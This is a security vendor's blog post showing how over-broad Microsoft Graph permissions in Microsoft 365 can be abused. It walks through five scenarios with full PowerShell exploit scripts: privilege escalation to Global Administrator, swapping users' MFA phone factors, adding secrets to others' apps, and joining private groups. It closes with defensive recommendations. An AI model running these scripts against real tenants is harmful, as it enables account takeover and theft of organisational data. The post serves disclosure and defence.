Microsoft365
April 13, 2023

Manipulating roles and permissions in Microsoft 365 environment via MS Graph

Microsoft 365 is a suite of cloud-based productivity and collaboration tools that includes a variety of security features to help protect your data and devices. Some of these features include a vast granularity of roles, user profiles and permissions.

Managing identities, permissions and APIs in a cloud environment is not an easy task. Without proper technical knowledge and support from specialized technologies, we may struggle to understand and properly measure risks. Some causes  for us to reflect on the problem:

  • There are over 300 MS Graph API  permissions [1] available to use within the apps, so it’s reasonable to think that many Microsoft 365 environment administrators will not be able to properly evaluate all requests to grant access to the APIs.
  • The documentation available from Microsoft in most cases does not adequately describe the risks associated with the use of each of these permissions.

In this article we will bring a concrete case of how poorly managed permissions, APIs and identities can bring a huge risk to a Microsoft 365 environment.

It is important to emphasize that the malicious use of permissions can be persistent – attackers can make use of such resources to have continued access to the environment in a privileged way.

Roles and Permissions in Microsoft 365

In Microsoft 365, Azure Active Directory uses the concept of roles to distribute privileges to users and applications. For example, Global Admin is a directory role in Azure AD. Microsoft 365 API permissions are an entirely separate set of parallel permissions that can be granted to Azure service principals. There is some overlap between directory roles and API permissions, but we can think of them as parallel privilege systems.

The relationship between roles, permissions, users and applications in the directory does not always allow us to be clear about the risks to which we are exposing our data.

Scenario 1: Privilege Escalation

This attack allows a non-privileged user to grant himself the role of Global Administrator of a Microsoft 365 environment. In general, the success of the attack lies in the possibility of a consent request for the AppRoleAssignment.ReadWrite.All permission being consented.

Let’s see what the Microsoft documentation says about the AppRoleAssignment.ReadWrite.All permission [1].

“Allows the app to manage permission grants for app permissions for any API (including Microsoft Graph) and app assignments for any app, on behalf of the signed-in user.”

For less-informed administrators, this permission may appear to not pose any high risk to the organization. Having gained consent to this permission, the attacker can then create a chain of permissions and grant himself access to RoleManagement.ReadWrite.Directory [1] and finally become a Global Administrator. Privilege escalation happens without further interactions and consent from Microsoft 365 administrators.

The exploit to perform this successful attack can be seen below. The identification of some GUIDs is specific to each organization.

Write-Output “Connecting to Microsoft 365
$AppID = “e0eb06a1-SANITIZED”
$TenantID = “63ffdbd2-SANITIZED”
$AppPassword = ConvertTo-SecureString “jAt8Q~SANITIZED” -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($AppID, $AppPassword)

Write-Output “Priv Esc User ID: f2342e98-SANITIZED”
Write-Output “Priv Esc App ID: $AppID”
Write-Output “Service Principal ID: 4462edeb-SANITIZED”
Write-Output “MS Graph Resource ID: 0bb31c9c-SANITIZED”

Connect-AzAccount -Credential $psCred -TenantID $TenantID -ServicePrincipal

$UserContext = Get-AzContext *>&1 
$resource = “https://graph.microsoft.com”
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
    $UserContext.Account, `
$UserContext.Environment, `
$UserContext.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, `
$resource).AccessToken

$body = @{
    principalId = “4462edeb-SANITIZED”
    resourceId = “0bb31c9c-SANITIZED”
    appRoleId = “9e3f62cf-SANITIZED”
}

Invoke-RestMethod -Headers @{Authorization = “Bearer $($token)” } -Uri “https://graph.microsoft.com/v1.0/servicePrincipals/4462edeb-SANITIZED/appRoleAssignedTo” -Method POST -Body $($body | ConvertTo-Json) -ContentType ‘application/json’ *>&1

Write-Output “Waiting…”
Start-Sleep -Seconds 60

$resource = “https://graph.microsoft.com”
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
    $UserContext.Account, `
$UserContext.Environment, `
$UserContext.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, `
$resource).AccessToken

$body = @{
    “@odata.id”= “https://graph.microsoft.com/v1.0/directoryObjects/f2342e98-SANITIZED”
}

Invoke-RestMethod -Headers @{Authorization = “Bearer $($token)” } `
    -Uri ‘https://graph.microsoft.com/v1.0/directoryRoles/47c8403c-SANITIZED/members/$ref’ `
    -Method POST `
-Body $($body | ConvertTo-Json) `
-ContentType ‘application/json’ *>&1

Write-Output “Check if the user is now Global Admin”

At the end of the execution of the exploit, the attacker will have unlimited capabilities in the directory, being able to control all users, data and resources of the organization.

Scenario 2: Privilege Escalation

Microsoft 365 consent policies are features commonly used by organizations to reduce the workflow of approving and reviewing access permission requests made by apps. This type of policy is usually associated with some role in the directory and users associated with the role can consent to low-risk permissions without the need for approval.

For the attack to be successful, the malicious actor needs to:

  • Get consent for policy.ReadWrite.PermissionGrant permission [1].
  • Obtain an account that can benefit from a consent policy.

Let’s see how the attack can be performed:

The exploit to perform this successful attack can be seen below. The identification of some GUIDs is specific to each organization. The malicious code uses an unprivileged account to manipulate the my-custom-consent-policy consent policy and then escalate privilege to Global Administrator. Note that in this case the attacker’s non-privileged account can use the consent policy..

$AppId = ‘e0eb06a1-SANITIZED’
$TenantId = ’63ffdbd2-SANITIZED’
$ClientSecret = ‘jAt8Q~SANITIZEDo’
 
$Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force)
 
Connect-Graph  -AccessToken $Token.AccessToken

Invoke-GraphRequest `
   -Method GET `
   -Uri ‘/v1.0/policies/permissionGrantPolicies’ | ConvertTo-Json

$body = @{
  permissionClassification =  “all”
  permissionType = “application”
  resourceApplication = “00000003-0000-0000-c000-000000000000  permissions = @(’06b708a9-e830-4db3-a914-8e69da51d44f’, ’84bccea3-f856-4a8a-967b-dbe0a3d53a64′, ‘9e3f62cf-SANITIZED’)
  clientApplicationIds = @(‘4462edeb-SANITIZED’, ‘f2342e98-SANITIZED’, ‘e0eb06a1-SANITIZED’, ‘df021288-SANITIZED’)
}

Invoke-GraphRequest -Method POST -Uri ‘/v1.0/policies/permissionGrantPolicies/my-custom-consent-policy/includes’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’

Write-Output “Connecting to Microsoft 365
$AppID = “e0eb06a1-SANITIZED”
$TenantID = “63ffdbd2-SANITIZED”
$AppPassword = ConvertTo-SecureString “jAt8Q~SANITIZED” -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($AppID, $AppPassword)

Write-Output “Priv Esc User ID: f2342e98-SANITIZED”
Write-Output “Priv Esc App ID: $AppID”
Write-Output “Service Principal ID: 4462edeb-SANITIZED”
Write-Output “MS Graph Resource ID: 0bb31c9c-SANITIZED”

Connect-AzAccount -Credential $psCred -TenantID $TenantID -ServicePrincipal

$UserContext = Get-AzContext *>&1 
$resource = “https://graph.microsoft.com”
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
    $UserContext.Account, `
$UserContext.Environment, `
$UserContext.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, `
$resource).AccessToken

$body = @{
    principalId = “4462edeb-SANITIZED”
    resourceId = “0bb31c9c-SANITIZED”
    appRoleId = “9e3f62cf-SANITIZED”
}
Write-Output “Adding permission RoleManagement.ReadWrite.Directory for Priv Esc App”
Invoke-RestMethod -Headers @{Authorization = “Bearer $($token)” } -Uri “https://graph.microsoft.com/v1.0/servicePrincipals/4462edeb-SANITIZED/appRoleAssignedTo” -Method POST -Body $($body | ConvertTo-Json) -ContentType ‘application/json’ *>&1

At the end of the execution of the exploit, the attacker will use the exploit listed in Scenario 1 and will have unlimited capabilities in the directory, being able to control all users, data and resources of the organization.

Scenario 3: Credentials Theft

Enabling multi-factor authentication for Microsoft 365 tenant user accounts is an important practice when it comes to securing access credentials. Therefore, it is important to mention that there are not only roles, but also permissions that, if granted to a malicious actor, can be used to facilitate the theft of credentials. The attacker will be able to add and remove authentication factors from users, facilitating theft.

The exploit to perform this successful attack can be seen below. In this code, an application associated with the malicious actor performs operations of adding and removing an authentication factor of the Mobile type in another user account.

# This code will manipulate multifactor authentication method for users # it will be able to add and/or remove a mobile phone number. $AppId = ‘e0eb06a1-SSANITIZED’ $TenantId = ’63ffdbd2–SANITIZED’ $ClientSecret = ‘jAt8Q~SANITIZED’ $Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force) Connect-Graph -AccessToken $Token.AccessToken Invoke-GraphRequest ` -Method GET ` -Uri ‘/v1.0/users/f2342e98-SANITIZED/authentication/methods’ | ConvertTo-Json $body = @{ phoneNumber = “+5561 999680000” phoneType = “mobile” } Invoke-GraphRequest -Method POST -Uri ‘/v1.0/users/f2342e98-SANITIZED/authentication/phoneMethods’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’ Invoke-GraphRequest ` -Method DELETE ` -Uri ‘/v1.0/users/f2342e98-SANITIZED/authentication/phoneMethods/3179e48a-750b-4051-897c-87b9720928f7’

At the end of this execution, a certain user account will have its Mobile authentication factor modified. If the attacker already has prior knowledge of the user’s password, the account may be stolen.

Scenario 4: Lateral movement

One of the ways that the adversary has to move laterally in the environment is by obtaining new access credentials. There are several ways to obtain such credentials, one of which is by abusing certain Microsoft 365 app permissions.

The code to run this successful attack can be seen below. In it, an application associated with the malicious actor performs an operation to add a new secret to an application that belongs to another user, allowing the attacker to move in the environment using a new identification.

$AppId = ‘e0eb06a1-SANITIZED $TenantId = ’63ffdbd2-SANITIZED’ $ClientSecret = ‘jAt8Q~SANITIZED’ $Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force) Connect-Graph -AccessToken $Token.AccessToken $body = @{ PasswordCredential = @{ DisplayName = “MyNewPasswordSuperSecret” } } Invoke-GraphRequest -Method POST -Uri ‘/v1.0/applications/a988bf77-SANITIZED/addPassword’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’

At the end of the execution, the attacker will have permission to authenticate and move in the environment using the new credential associated with the application “a988bf77-SANITIZED”, whose owner is another user of the directory.

Scenario 5: Lateral movement

Another form of lateral movement lies in the possibility of infiltrating private groups of users, obtaining information and data that allow the malicious actor to gain even more space within the Microsoft 365 environment.

The code to run this successful attack can be seen below. In it, an application associated with the malicious actor performs an operation to add a new malicious account to a private user group.

$AppId = ‘e0eb06a1-SANITIZED’ $TenantId = ’63ffdbd2-SANITIZED’ $ClientSecret = ‘jAt8Q~SANITIZED’ $Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force) Connect-Graph -AccessToken $Token.AccessToken Invoke-GraphRequest ` -Method GET ` -Uri ‘/v1.0/groups’ | ConvertTo-Json $body = @{ “@odata.id” = “https://graph.microsoft.com/v1.0/directoryObjects/f2342e98-SANITIZED” } Invoke-GraphRequest -Method POST -Uri ‘/v1.0/groups/a417addd-SANITIZED/members/$ref’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’

At the end of the execution, the attacker will have permission to access all sensitive data of the “a417addd-SANITIZED” group through the “f2342e98-SANITIZED” account.

Recommendations

It’s important to regularly update security settings and ensure that devices and users comply with an organization’s security policies. Monitor constantly the security posture of your environment and supply chain.

  • Look for permissions that may pose risks.
  • If possible, do not allow users to register applications.
  • Define a process for evaluating and consenting to app permissions.
  • Monitor who are the users with administrator privileges.
  • Monitor your organization’s consent policies.
  • Monitor and review environment access credentials.
  • Monitor and periodically review users who are part of private groups.

Zanshin, Tenchi Security’s SaaS platform, with its ability to monitor and assess the security posture in cloud environments can help you  identify these risks in your own environments or in those of your critical third parties. Get in touch to try out Zanshin today.

Credits

Breno Silva and Eduardo Pinheiro.

References

[1] Microsoft Graph permissions reference, available at:

https://learn.microsoft.com/en-us/graph/permissions-reference